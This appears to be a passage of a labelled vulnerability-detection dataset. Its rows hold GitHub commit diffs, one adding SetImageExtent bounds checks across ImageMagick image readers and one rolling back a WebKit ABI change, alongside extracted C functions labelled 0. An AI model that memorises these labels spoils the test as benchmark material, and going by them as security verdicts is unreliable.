MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n webp_status=WebPDecode(stream,length,&configure);\n }\n if (webp_status != VP8_STATUS_OK)"}<_**next**_>{"sha": "21c1ada130bbea248975f37d1f5e720f32b9ff13", "filename": "coders/wmf.c", "status": "modified", "additions": 9, "deletions": 0, "changes": 9, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/wmf.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/wmf.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/wmf.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -2584,6 +2584,9 @@ static Image *ReadWMFImage(const ImageInfo *image_info,ExceptionInfo *exception)\n Image\n *image;\n \n+ MagickBooleanType\n+ status;\n+\n unsigned long\n wmf_options_flags = 0;\n \n@@ -2875,6 +2878,12 @@ static Image *ReadWMFImage(const ImageInfo *image_info,ExceptionInfo *exception)\n \"leave ReadWMFImage()\");\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Creating canvas image with size %lux%lu\",(unsigned long) image->rows,"}<_**next**_>{"sha": "1a361ed5f74702f028090710f958002017d77790", "filename": "coders/wpg.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/wpg.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/wpg.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/wpg.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -1413,6 +1413,12 @@ static Image *ReadWPGImage(const ImageInfo *image_info,\n ThrowReaderException(CoderError,\"DataEncodingSchemeIsNotSupported\");\n }\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n \n Finish:\n (void) CloseBlob(image);"}<_**next**_>{"sha": "909dd662b4a6d3853956940a733d581367e8aea2", "filename": "coders/xbm.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/xbm.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/xbm.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/xbm.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -291,6 +291,12 @@ static Image *ReadXBMImage(const ImageInfo *image_info,ExceptionInfo *exception)\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n }\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n Initialize hex values.\n */"}<_**next**_>{"sha": "2b12e6ecf7b4c1c2f3d02fa08209a7450d306a74", "filename": "coders/xc.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/xc.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/xc.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/xc.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -132,6 +132,12 @@ static Image *ReadXCImage(const ImageInfo *image_info,ExceptionInfo *exception)\n image->columns=1;\n if (image->rows == 0)\n image->rows=1;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n (void) CopyMagickString(image->filename,image_info->filename,MaxTextExtent);\n status=QueryMagickColor((char *) image_info->filename,&color,exception);\n if (status == MagickFalse)"}<_**next**_>{"sha": "860f6b406391ad215ce3411bcc3989aa493dc621", "filename": "coders/xcf.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/xcf.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/xcf.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/xcf.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -1275,6 +1275,12 @@ static Image *ReadXCFImage(const ImageInfo *image_info,ExceptionInfo *exception)\n XCFLayerInfo\n *layer_info;\n \n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n /*\n The read pointer.\n */"}<_**next**_>{"sha": "24937f736c162ad988f8d549a0cfbb545c916681", "filename": "coders/xpm.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/xpm.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/xpm.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/xpm.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -432,6 +432,12 @@ static Image *ReadXPMImage(const ImageInfo *image_info,ExceptionInfo *exception)\n /*\n Read image pixels.\n */\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n p=NextXPMLine(p);"}<_**next**_>{"sha": "a9d1da76f4071c44d1757650d8426052b98764f0", "filename": "coders/xwd.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/xwd.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/xwd.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/xwd.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -399,6 +399,12 @@ static Image *ReadXWDImage(const ImageInfo *image_info,ExceptionInfo *exception)\n image->columns=(size_t) ximage->width;\n image->rows=(size_t) ximage->height;\n image->depth=8;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n if ((header.ncolors == 0U) || (ximage->red_mask != 0) ||\n (ximage->green_mask != 0) || (ximage->blue_mask != 0))\n image->storage_class=DirectClass;"}<_**next**_>{"sha": "a295371e04389b171f0944500b53fa8c71fb5dd3", "filename": "coders/ycbcr.c", "status": "modified", "additions": 12, "deletions": 0, "changes": 12, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/ycbcr.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/ycbcr.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/ycbcr.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -149,6 +149,12 @@ static Image *ReadYCBCRImage(const ImageInfo *image_info,\n image=AcquireImage(image_info);\n if ((image->columns == 0) || (image->rows == 0))\n ThrowReaderException(OptionError,\"MustSpecifyImageSize\");\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n SetImageColorspace(image,YCbCrColorspace);\n if (image_info->interlace != PartitionInterlace)\n {\n@@ -204,6 +210,12 @@ static Image *ReadYCBCRImage(const ImageInfo *image_info,\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n SetImageColorspace(image,YCbCrColorspace);\n switch (image_info->interlace)\n {"}<_**next**_>{"sha": "ef16a6bed625616f4312c51c560e7a21fd072169", "filename": "coders/yuv.c", "status": "modified", "additions": 12, "deletions": 0, "changes": 12, "blob_url": "https://github.com/ImageMagick/ImageMagick/blob/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/yuv.c", "raw_url": "https://github.com/ImageMagick/ImageMagick/raw/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6/coders/yuv.c", "contents_url": "https://api.github.com/repos/ImageMagick/ImageMagick/contents/coders/yuv.c?ref=f6e9d0d9955e85bdd7540b251cd50d598dacc5e6", "patch": "@@ -146,6 +146,12 @@ static Image *ReadYUVImage(const ImageInfo *image_info,ExceptionInfo *exception)\n image=AcquireImage(image_info);\n if ((image->columns == 0) || (image->rows == 0))\n ThrowReaderException(OptionError,\"MustSpecifyImageSize\");\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n quantum=(size_t) (image->depth <= 8 ? 1 : 2);\n interlace=image_info->interlace;\n horizontal_factor=2;\n@@ -213,6 +219,12 @@ static Image *ReadYUVImage(const ImageInfo *image_info,ExceptionInfo *exception)\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n+ status=SetImageExtent(image,image->columns,image->rows);\n+ if (status == MagickFalse)\n+ {\n+ InheritException(exception,&image->exception);\n+ return(DestroyImageList(image));\n+ }\n if (interlace == PartitionInterlace)\n {\n AppendImageFormat(\"Y\",image->filename);"}
|
static void sixel_node_del(sixel_output_t *const context, sixel_node_t *np)
{
sixel_node_t *tp;
if ((tp = context->node_top) == np) {
context->node_top = np->next;
}
else {
while (tp->next != NULL) {
if (tp->next == np) {
tp->next = np->next;
break;
}
tp = tp->next;
}
}
np->next = context->node_free;
context->node_free = np;
}
|
static void sixel_node_del(sixel_output_t *const context, sixel_node_t *np)
{
sixel_node_t *tp;
if ((tp = context->node_top) == np) {
context->node_top = np->next;
}
else {
while (tp->next != NULL) {
if (tp->next == np) {
tp->next = np->next;
break;
}
tp = tp->next;
}
}
np->next = context->node_free;
context->node_free = np;
}
|
C
| null | null | null |
@@ -1027,7 +1027,12 @@ static Image *ReadSIXELImage(const ImageInfo *image_info,ExceptionInfo *exceptio
sixel_buffer=(char *) RelinquishMagickMemory(sixel_buffer);
image->depth=24;
image->storage_class=PseudoClass;
-
+ status=SetImageExtent(image,image->columns,image->rows);
+ if (status == MagickFalse)
+ {
+ InheritException(exception,&image->exception);
+ return(DestroyImageList(image));
+ }
if (AcquireImageColormap(image,image->colors) == MagickFalse)
{
sixel_pixels=(unsigned char *) RelinquishMagickMemory(sixel_pixels);
|
ImageMagick
|
f6e9d0d9955e85bdd7540b251cd50d598dacc5e6
|
6773cce8ff0bfb32fd568c2a0f74acc34b66ec03
| 0
|
static void sixel_node_del(sixel_output_t *const context, sixel_node_t *np)
{
sixel_node_t *tp;
if ((tp = context->node_top) == np) {
context->node_top = np->next;
}
else {
while (tp->next != NULL) {
if (tp->next == np) {
tp->next = np->next;
break;
}
tp = tp->next;
}
}
np->next = context->node_free;
context->node_free = np;
}
|
115,483
| null | null | null | null | null | null | null | null | null | null | null | null | null | null |
2012-02
| null | 0
|
https://github.com/chromium/chromium/commit/dc3857aac17be72c96f28d860d875235b3be349a
|
dc3857aac17be72c96f28d860d875235b3be349a
|
Unreviewed, rolling out r142736.
http://trac.webkit.org/changeset/142736
https://bugs.webkit.org/show_bug.cgi?id=109716
Broke ABI, nightly builds crash on launch (Requested by ap on
#webkit).
Patch by Sheriff Bot <webkit.review.bot@gmail.com> on 2013-02-13
Source/WebKit2:
* Shared/APIClientTraits.cpp:
(WebKit):
* Shared/APIClientTraits.h:
* UIProcess/API/C/WKPage.h:
* UIProcess/API/gtk/WebKitLoaderClient.cpp:
(attachLoaderClientToView):
* WebProcess/InjectedBundle/API/c/WKBundlePage.h:
* WebProcess/qt/QtBuiltinBundlePage.cpp:
(WebKit::QtBuiltinBundlePage::QtBuiltinBundlePage):
Tools:
* MiniBrowser/mac/WK2BrowserWindowController.m:
(-[WK2BrowserWindowController awakeFromNib]):
* WebKitTestRunner/InjectedBundle/InjectedBundlePage.cpp:
(WTR::InjectedBundlePage::InjectedBundlePage):
* WebKitTestRunner/TestController.cpp:
(WTR::TestController::createWebViewWithOptions):
git-svn-id: svn://svn.chromium.org/blink/trunk@142762 bbb929c8-8fbe-4397-9dbb-9b2b20218538
| 0
|
third_party/WebKit/Tools/WebKitTestRunner/InjectedBundle/InjectedBundlePage.cpp
|
{"sha": "4747a285ac89a42c70faaaabb65a017f86d1d0ad", "filename": "third_party/WebKit/Source/WebKit2/ChangeLog", "status": "modified", "additions": 19, "deletions": 0, "changes": 19, "blob_url": "https://github.com/chromium/chromium/blob/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Source/WebKit2/ChangeLog", "raw_url": "https://github.com/chromium/chromium/raw/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Source/WebKit2/ChangeLog", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebKit2/ChangeLog?ref=dc3857aac17be72c96f28d860d875235b3be349a", "patch": "@@ -1,3 +1,22 @@\n+2013-02-13 Sheriff Bot <webkit.review.bot@gmail.com>\n+\n+ Unreviewed, rolling out r142736.\n+ http://trac.webkit.org/changeset/142736\n+ https://bugs.webkit.org/show_bug.cgi?id=109716\n+\n+ Broke ABI, nightly builds crash on launch (Requested by ap on\n+ #webkit).\n+\n+ * Shared/APIClientTraits.cpp:\n+ (WebKit):\n+ * Shared/APIClientTraits.h:\n+ * UIProcess/API/C/WKPage.h:\n+ * UIProcess/API/gtk/WebKitLoaderClient.cpp:\n+ (attachLoaderClientToView):\n+ * WebProcess/InjectedBundle/API/c/WKBundlePage.h:\n+ * WebProcess/qt/QtBuiltinBundlePage.cpp:\n+ (WebKit::QtBuiltinBundlePage::QtBuiltinBundlePage):\n+\n 2013-02-13 Kenneth Rohde Christiansen <kenneth@webkit.org>\n \n [WK2][EFL] Cleanup of graphics related code in EwkView"}<_**next**_>{"sha": "5ecdab3b1381940ec0a9fd989999ebc4e56c2a69", "filename": "third_party/WebKit/Source/WebKit2/Shared/APIClientTraits.cpp", "status": "modified", "additions": 3, "deletions": 0, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Source/WebKit2/Shared/APIClientTraits.cpp", "raw_url": "https://github.com/chromium/chromium/raw/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Source/WebKit2/Shared/APIClientTraits.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebKit2/Shared/APIClientTraits.cpp?ref=dc3857aac17be72c96f28d860d875235b3be349a", "patch": "@@ -39,6 +39,8 @@ const size_t APIClientTraits<WKBundleClient>::interfaceSizesByVersion[] = {\n const size_t APIClientTraits<WKBundlePageLoaderClient>::interfaceSizesByVersion[] = {\n offsetof(WKBundlePageLoaderClient, didLayoutForFrame),\n offsetof(WKBundlePageLoaderClient, didFinishProgress),\n+ offsetof(WKBundlePageLoaderClient, didReceiveIntentForFrame_unavailable),\n+ offsetof(WKBundlePageLoaderClient, registerIntentServiceForFrame_unavailable),\n sizeof(WKBundlePageLoaderClient)\n };\n \n@@ -60,6 +62,7 @@ const size_t APIClientTraits<WKPageContextMenuClient>::interfaceSizesByVersion[]\n \n const size_t APIClientTraits<WKPageLoaderClient>::interfaceSizesByVersion[] = {\n offsetof(WKPageLoaderClient, didDetectXSSForFrame),\n+ offsetof(WKPageLoaderClient, didReceiveIntentForFrame_unavailable),\n sizeof(WKPageLoaderClient)\n };\n "}<_**next**_>{"sha": "a062956ef9e7231f39ec0f8e6cd4de20ab24a1dc", "filename": "third_party/WebKit/Source/WebKit2/Shared/APIClientTraits.h", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Source/WebKit2/Shared/APIClientTraits.h", "raw_url": "https://github.com/chromium/chromium/raw/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Source/WebKit2/Shared/APIClientTraits.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebKit2/Shared/APIClientTraits.h?ref=dc3857aac17be72c96f28d860d875235b3be349a", "patch": "@@ -44,7 +44,7 @@ template<> struct APIClientTraits<WKBundleClient> {\n };\n \n template<> struct APIClientTraits<WKBundlePageLoaderClient> {\n- static const size_t interfaceSizesByVersion[3];\n+ static const size_t interfaceSizesByVersion[5];\n };\n \n template<> struct APIClientTraits<WKBundlePageResourceLoadClient> {\n@@ -64,7 +64,7 @@ template<> struct APIClientTraits<WKPageContextMenuClient> {\n };\n \n template<> struct APIClientTraits<WKPageLoaderClient> {\n- static const size_t interfaceSizesByVersion[2];\n+ static const size_t interfaceSizesByVersion[3];\n };\n \n template<> struct APIClientTraits<WKPageUIClient> {"}<_**next**_>{"sha": "1a85657110b4c7f3898e725ea1101313a1c35033", "filename": "third_party/WebKit/Source/WebKit2/UIProcess/API/C/WKPage.h", "status": "modified", "additions": 5, "deletions": 1, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Source/WebKit2/UIProcess/API/C/WKPage.h", "raw_url": "https://github.com/chromium/chromium/raw/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Source/WebKit2/UIProcess/API/C/WKPage.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebKit2/UIProcess/API/C/WKPage.h?ref=dc3857aac17be72c96f28d860d875235b3be349a", "patch": "@@ -124,11 +124,15 @@ struct WKPageLoaderClient {\n WKPageCallback interactionOccurredWhileProcessUnresponsive;\n WKPagePluginDidFailCallback pluginDidFail;\n \n+ // Version 2\n+ void (*didReceiveIntentForFrame_unavailable)(void);\n+ void (*registerIntentServiceForFrame_unavailable)(void);\n+\n WKPageDidLayoutCallback didLayout;\n };\n typedef struct WKPageLoaderClient WKPageLoaderClient;\n \n-enum { kWKPageLoaderClientCurrentVersion = 1 };\n+enum { kWKPageLoaderClientCurrentVersion = 2 };\n \n // Policy Client.\n typedef void (*WKPageDecidePolicyForNavigationActionCallback)(WKPageRef page, WKFrameRef frame, WKFrameNavigationType navigationType, WKEventModifiers modifiers, WKEventMouseButton mouseButton, WKURLRequestRef request, WKFramePolicyListenerRef listener, WKTypeRef userData, const void* clientInfo);"}<_**next**_>{"sha": "3326d123e34026eee95b5ece77fee91ac6a0d593", "filename": "third_party/WebKit/Source/WebKit2/UIProcess/API/gtk/WebKitLoaderClient.cpp", "status": "modified", "additions": 2, "deletions": 0, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Source/WebKit2/UIProcess/API/gtk/WebKitLoaderClient.cpp", "raw_url": "https://github.com/chromium/chromium/raw/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Source/WebKit2/UIProcess/API/gtk/WebKitLoaderClient.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebKit2/UIProcess/API/gtk/WebKitLoaderClient.cpp?ref=dc3857aac17be72c96f28d860d875235b3be349a", "patch": "@@ -169,6 +169,8 @@ void attachLoaderClientToView(WebKitWebView* webView)\n 0, // willGoToBackForwardListItem\n 0, // interactionOccurredWhileProcessUnresponsive\n 0, // pluginDidFail\n+ 0, // didReceiveIntentForFrame\n+ 0, // registerIntentServiceForFrame\n 0, // didLayout\n };\n WKPageRef wkPage = toAPI(webkitWebViewBaseGetPage(WEBKIT_WEB_VIEW_BASE(webView)));"}<_**next**_>{"sha": "38406cbb4910dd8f2e4aa392b3376cbe81fa77ec", "filename": "third_party/WebKit/Source/WebKit2/WebProcess/InjectedBundle/API/c/WKBundlePage.h", "status": "modified", "additions": 6, "deletions": 1, "changes": 7, "blob_url": "https://github.com/chromium/chromium/blob/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Source/WebKit2/WebProcess/InjectedBundle/API/c/WKBundlePage.h", "raw_url": "https://github.com/chromium/chromium/raw/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Source/WebKit2/WebProcess/InjectedBundle/API/c/WKBundlePage.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebKit2/WebProcess/InjectedBundle/API/c/WKBundlePage.h?ref=dc3857aac17be72c96f28d860d875235b3be349a", "patch": "@@ -149,11 +149,16 @@ struct WKBundlePageLoaderClient {\n WKBundlePageDidFinishProgressCallback didFinishProgress;\n WKBundlePageShouldForceUniversalAccessFromLocalURLCallback shouldForceUniversalAccessFromLocalURL;\n \n+ // Version 3\n+ void * didReceiveIntentForFrame_unavailable;\n+ void * registerIntentServiceForFrame_unavailable;\n+\n+ // Version 4\n WKBundlePageDidLayoutCallback didLayout;\n };\n typedef struct WKBundlePageLoaderClient WKBundlePageLoaderClient;\n \n-enum { kWKBundlePageLoaderClientCurrentVersion = 2 };\n+enum { kWKBundlePageLoaderClientCurrentVersion = 4 };\n \n enum {\n WKBundlePagePolicyActionPassThrough,"}<_**next**_>{"sha": "3304d407383977dc0773b1bbac1c879b04c05823", "filename": "third_party/WebKit/Source/WebKit2/WebProcess/qt/QtBuiltinBundlePage.cpp", "status": "modified", "additions": 2, "deletions": 0, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Source/WebKit2/WebProcess/qt/QtBuiltinBundlePage.cpp", "raw_url": "https://github.com/chromium/chromium/raw/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Source/WebKit2/WebProcess/qt/QtBuiltinBundlePage.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/WebKit2/WebProcess/qt/QtBuiltinBundlePage.cpp?ref=dc3857aac17be72c96f28d860d875235b3be349a", "patch": "@@ -76,6 +76,8 @@ QtBuiltinBundlePage::QtBuiltinBundlePage(QtBuiltinBundle* bundle, WKBundlePageRe\n 0, // willDestroyGlobalObjectForDOMWindowExtension\n 0, // didFinishProgress\n 0, // shouldForceUniversalAccessFromLocalURL\n+ 0, // didReceiveIntentForFrame\n+ 0, // registerIntentServiceForFrame\n 0, // didLayout\n };\n WKBundlePageSetPageLoaderClient(m_page, &loaderClient);"}<_**next**_>{"sha": "26c1861ca7bd1a389eb482f09b6df859fef3d506", "filename": "third_party/WebKit/Tools/ChangeLog", "status": "modified", "additions": 16, "deletions": 0, "changes": 16, "blob_url": "https://github.com/chromium/chromium/blob/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Tools/ChangeLog", "raw_url": "https://github.com/chromium/chromium/raw/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Tools/ChangeLog", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Tools/ChangeLog?ref=dc3857aac17be72c96f28d860d875235b3be349a", "patch": "@@ -1,3 +1,19 @@\n+2013-02-13 Sheriff Bot <webkit.review.bot@gmail.com>\n+\n+ Unreviewed, rolling out r142736.\n+ http://trac.webkit.org/changeset/142736\n+ https://bugs.webkit.org/show_bug.cgi?id=109716\n+\n+ Broke ABI, nightly builds crash on launch (Requested by ap on\n+ #webkit).\n+\n+ * MiniBrowser/mac/WK2BrowserWindowController.m:\n+ (-[WK2BrowserWindowController awakeFromNib]):\n+ * WebKitTestRunner/InjectedBundle/InjectedBundlePage.cpp:\n+ (WTR::InjectedBundlePage::InjectedBundlePage):\n+ * WebKitTestRunner/TestController.cpp:\n+ (WTR::TestController::createWebViewWithOptions):\n+\n 2013-02-13 Mikhail Pozdnyakov <mikhail.pozdnyakov@intel.com>\n \n [WK2][EFL][WTR] Regression(r141836): WTR crashes on exit"}<_**next**_>{"sha": "f705fe1cf1c45b45c34abfec1e1f62ce8d53fe31", "filename": "third_party/WebKit/Tools/MiniBrowser/mac/WK2BrowserWindowController.m", "status": "modified", "additions": 2, "deletions": 0, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Tools/MiniBrowser/mac/WK2BrowserWindowController.m", "raw_url": "https://github.com/chromium/chromium/raw/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Tools/MiniBrowser/mac/WK2BrowserWindowController.m", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Tools/MiniBrowser/mac/WK2BrowserWindowController.m?ref=dc3857aac17be72c96f28d860d875235b3be349a", "patch": "@@ -639,6 +639,8 @@ - (void)awakeFromNib\n 0, // willGoToBackForwardListItem\n 0, // interactionOccurredWhileProcessUnresponsive\n 0, // pluginDidFail\n+ 0, // didReceiveIntentForFrame\n+ 0, // registerIntentServiceForFrame\n 0, // didLayout\n };\n WKPageSetPageLoaderClient(_webView.pageRef, &loadClient);"}<_**next**_>{"sha": "0e9fc6e1ee090d739708ccef8edb30d8285c2aef", "filename": "third_party/WebKit/Tools/WebKitTestRunner/InjectedBundle/InjectedBundlePage.cpp", "status": "modified", "additions": 2, "deletions": 0, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Tools/WebKitTestRunner/InjectedBundle/InjectedBundlePage.cpp", "raw_url": "https://github.com/chromium/chromium/raw/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Tools/WebKitTestRunner/InjectedBundle/InjectedBundlePage.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Tools/WebKitTestRunner/InjectedBundle/InjectedBundlePage.cpp?ref=dc3857aac17be72c96f28d860d875235b3be349a", "patch": "@@ -319,6 +319,8 @@ InjectedBundlePage::InjectedBundlePage(WKBundlePageRef page)\n 0, // willDestroyGlobalObjectForDOMWindowExtension\n didFinishProgress, // didFinishProgress\n 0, // shouldForceUniversalAccessFromLocalURL\n+ 0, // didReceiveIntentForFrame\n+ 0, // registerIntentServiceForFrame\n 0, // didLayout\n };\n WKBundlePageSetPageLoaderClient(m_page, &loaderClient);"}<_**next**_>{"sha": "69cd95f69fe944eb1472845a572b333ba187ddd6", "filename": "third_party/WebKit/Tools/WebKitTestRunner/TestController.cpp", "status": "modified", "additions": 2, "deletions": 0, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Tools/WebKitTestRunner/TestController.cpp", "raw_url": "https://github.com/chromium/chromium/raw/dc3857aac17be72c96f28d860d875235b3be349a/third_party/WebKit/Tools/WebKitTestRunner/TestController.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Tools/WebKitTestRunner/TestController.cpp?ref=dc3857aac17be72c96f28d860d875235b3be349a", "patch": "@@ -465,6 +465,8 @@ void TestController::createWebViewWithOptions(WKDictionaryRef options)\n 0, // willGoToBackForwardListItem\n 0, // interactionOccurredWhileProcessUnresponsive\n 0, // pluginDidFail\n+ 0, // didReceiveIntentForFrame\n+ 0, // registerIntentServiceForFrame\n 0, // didLayout\n };\n WKPageSetPageLoaderClient(m_mainWebView->page(), &pageLoaderClient);"}
|
void InjectedBundlePage::willRunJavaScriptConfirm(WKBundlePageRef page, WKStringRef message, WKBundleFrameRef frame, const void *clientInfo)
{
return static_cast<InjectedBundlePage*>(const_cast<void*>(clientInfo))->willRunJavaScriptConfirm(message, frame);
}
|
void InjectedBundlePage::willRunJavaScriptConfirm(WKBundlePageRef page, WKStringRef message, WKBundleFrameRef frame, const void *clientInfo)
{
return static_cast<InjectedBundlePage*>(const_cast<void*>(clientInfo))->willRunJavaScriptConfirm(message, frame);
}
|
C
| null | null | null |
@@ -319,6 +319,8 @@ InjectedBundlePage::InjectedBundlePage(WKBundlePageRef page)
0, // willDestroyGlobalObjectForDOMWindowExtension
didFinishProgress, // didFinishProgress
0, // shouldForceUniversalAccessFromLocalURL
+ 0, // didReceiveIntentForFrame
+ 0, // registerIntentServiceForFrame
0, // didLayout
};
WKBundlePageSetPageLoaderClient(m_page, &loaderClient);
|
Chrome
|
dc3857aac17be72c96f28d860d875235b3be349a
|
